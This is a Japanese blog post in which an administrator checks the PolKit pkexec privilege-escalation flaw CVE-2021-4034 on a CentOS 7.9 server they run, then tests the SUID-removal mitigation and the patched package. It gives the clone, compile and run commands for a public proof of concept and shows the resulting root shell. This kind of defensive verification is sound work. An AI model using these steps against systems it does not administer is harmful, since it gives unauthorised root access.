2022/1/26、PolKitのメモリ破損の脆弱性(CVE-2021-4034)が発表されました。
PolKitは主要なLinuxディストリビューションおよび一部のUnixライクなオペレーティングシステムで使用されるコンポーネントのようです。
ローカルの非特権ユーザ(権限のない一般Userで悪い事を考えている人)が簡単にルート特権を奪取できてしまい悪用される可能性があります。(Redhatサイトを見る限りcvssのスコアは7.8でした。 ※1/27時点)
色々な情報が飛び交っていますが、下記のサイトが非常にわかりやすく記載されていました。
・・・・・12年以上まえからってすごい話ですね。
で既に、この脆弱性を確認するためのツール(PwnKitのPoC)がGithub上にあるようなので
確認していきたいと思います。
環境
OS:CentOS 7.9
Kernel: 3.10.0-1160.53.1.el7.x86_64
脆弱性の検証 (自分が管理しているサーバ以外では絶対にやらないでください!!)
※確認用にuserを作成しました。
※コンパイルのためgccパッケージが必要になりますので、事前にインストールしておきましょう
useradd cve20214034 # rootユーザで作成
su - cve20214034 # 作成したユーザにスイッチ
cve20214034 $
git clone https://github.com/arthepsy/CVE-2021-4034.git
gcc CVE-2021-4034/cve-2021-4034-poc.c -o cve-2021-4034-poc
いざ実行!!!
$ ./cve-2021-4034-poc
sh-4.2#
sh-4.2# id
uid=0(root) gid=0(root) groups=0(root),1001(cve20214034)
sh-4.2#
簡単にrootになれてしまった!!!!!
ちなみに緩和策も上記サイトに記載がありましたので
試してみます。
sh-4.2# exit # 一般ユーザに戻ります。
cve20214034 $ exit # rootユーザに戻ります。
chmod 0755 /usr/bin/pkexec # pkexecのSUIDを取ります。
対策実施後の確認
su - cve20214034
cve20214034 $
cve20214034 $ ./cve-2021-4034-poc
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root
cve20214034 $
不正に特権昇格はできてない(rootになれない)ですね。
対策はされたようです。
その他
最近はlog4jとかcolersjs fakerjs(これは別の意図があったようですが)とか脆弱性が出ております。インフラ担当者の方もこの脆弱性は内部に悪だくみする事を考えている人がいた場合、簡単のroot権限を奪取されてしまいますので、いち早い対応が求められるかと思い記事にしました。
最後に一言。絶対に自分が管理しているサーバ以外で上記PoCを実行しないでください。
1/27 追記
CentOSはすでにpatch適用済みパッケージが出てました。
Updated: polkit-0.112-26.el7_9.1.x86_64
# アップデート適用後の動作確認
$ ./cve-2021-4034-poc
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
Report bugs to: http://lists.freedesktop.org/mailman/listinfo/polkit-devel
polkit home page: <http://www.freedesktop.org/wiki/Software/polkit>
皆さん、アップデートしましょう。